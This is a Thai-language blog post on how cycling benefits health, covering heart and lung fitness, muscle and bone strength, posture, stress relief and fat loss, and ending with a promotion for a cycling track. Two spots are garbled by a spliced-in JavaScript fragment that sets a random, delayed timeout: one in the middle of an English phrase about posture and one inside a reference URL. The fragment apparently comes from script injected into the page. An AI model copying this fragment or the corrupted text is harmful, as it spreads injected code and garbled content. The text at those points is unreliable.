ปั่นจักรยานดีต่อสุขภาพอย่างไร
เพื่อให้ร่างกายมีสุขภาพเเข็งเเรง ฟิต การออกกำลังกายเป้นสิ่งที่ขาดไม่ได้ ประโยชน์ของการออกกำลังกายอย่างต่อเนื่อง เป็นประจำ สามารถช่วยป้องกันเราจากโรคภัยไข้เจ็บได้อย่างเช่น โรคเบาหวาน โรคหัวใจ มะเร็ง และยังช่วยส่งเสริมสภาพจิตใจให้เเจ่มใส ลดอาการเครียด การออกกำลังโดย การ “ปั่นจักรยาน” เป็นหนึ่งวิธีในการพัฒนาสุขภาพเเละความฟิตของร่างกาย และลดโรคภัยไข้เจ็บได้อย่างดี
ปั่นจักรยาน เป็นการออกกำลังกายเเบบ Low-impact เหมาะกับคนทุกทุกวัย เเถมสามารถประยุกต์ใช้ในชีวิตประจำวัน ไม่ใช้เเค่ช่วงเวลาออกกำลังกายอย่างเดียว อย่างเช่น ปั่นจักรยานไปทำงาน
เพียงเเค่สละเวลาปั่นจักรยานออกกำลังกายสัปดาห์ละ 2-4 ชั่วโมง ก็จะสามารถเสริมสร้างสุขภาพเราได้ อย่างเช่น….
- การปั่นจักรยาน เป็นกีฬาประเภท Low impact สร้างเเรงกระเเทกน้อย เกิดอาการบาดเจ็บของกล้ามเนื้อได้น้อยกว่ากีฬาประเภทอื่น
- การปั่นจักรยาน ดีต่อการบริหารและสร้างกล้ามเนื้อ ในขณะปั่นจักรยานกล้ามเนื้อที่ใช้งานไม่ใช่เเค่ช่วง lower body เเต่ยังมีกล้ามเนื้อ core และ upper body ที่ถุกใช้งานด้วย
- การปั่นจักรยาน ดีต่อการเสริมสร้างความอึด ความอดทนให้ร่างกาย ร่างกายจะถูกออกกำลังให้อยู่ในโซน Aerobic ได้บ่อยขึ้น กระตุ้นการทำงานของปอด หัวใจ รวมทั้งกล้ามเนื้อ
- การปั่นจักรยาน ทำได้ง่าย เหมือนๆ กับการวิ่ง ทุกคน ทุกวัย ทุกระดับความสามารถ มือใหม่มือเก๋า เป็นกีฬาที่ไม่จำเป็นต้องใช้สกิลเยอะ เเถมสามารถกำหนดระดับความเข้มข้นของการฝึกได้เอง
- การปั่นจักรยาน เป็นวิธีที่สนุกในการออกกำลังกาย เพราะเป็นการออกกำลังกายเเบบ outdoor ทำให้มีโอกาสออกกำลังกายได้บ่อยขึ้น ให้ความรู้สึกเหมือนออกไปผจญภัยทุกครั้ง
เมื่อปั่นอย่างต่อเนื่อง…

- เพิ่มความฟิตให้ระบบหัวใจ การสูบฉีดเลือด ( increased cardiovascular fitness) เเละต้องบอกว่าช่วยในเรื่องการหายใจ ระบบปอด การปั้มลมเข้าออก หายใจลึกมากขึ้นด้วย เพราะเราจะฝึกอยู่ในโซน Aerobic บ่อยมาก
- เพิ่มความเเข็งเเรงให้กล้ามเนื้อ เพิ่มความยืดหยุ่นให้ร่างกาย ข้อต่อมีอายุการใช้งานนานขึ้น ลองสังเกตว่าคนที่ออกกำลังกายบ่อยๆ อาการ office syndrome อย่างอาการปวดหลังจะหายไป
- ลดอาการเครียด วิตกกังวล เเถมช่วยเพิ่มเสริมสร้างระบบภูมิคุ้มกันด้วย เเต่ทั้งนี้ต้องขึ้นอยู่กับวิธีการกิน เเละการพักผ่อนด้วยนะ
- ช่วยพัฒนาบุคลิกภาพ ท่านั่งเดินเหินดูดีขึ้น การทำงานประสานกัน สายตา กล้ามเนื้อมือขา จะเคลื่อนไหวเร็วขึ้น (improved posture andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and coordination)
- ไม่ใช้เเค่กล้ามเนื้อจะเเข็งเเรงขึ้น เเต่ยังช่วยรักษาความหนาเเน่นของกระดูกด้วย
- ช่วยลดระดับไขมันในร่างกาย
ใครที่ยังไม่เริ่มออกกำลังกาย ช่วงวันหยุดปีใหม่ สนามปั่นจักรยาน Sky lane ก็เปิดให้บริการเเล้ว อย่าลืมหาจักรยานดีๆ สักคนหรือถ้ามีครอบครัวเเล้ว ก็อย่าลืมซื้อให้สามี ภรรยา ลูกน้อย ออกไปปั่นกันทั้งครอบครัวนะครับ เพื่อสุขภาพดีถ้วยหน้ากันทั้งบ้าน
อ้างอิงwww.betterhealth.vic.gov.auandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-fitness/training-tips/b/weblog/archive/2015/06/19/what-cycling-does-to-your-insides.aspx”>thecyclingbug.co.uk
Discussion about this post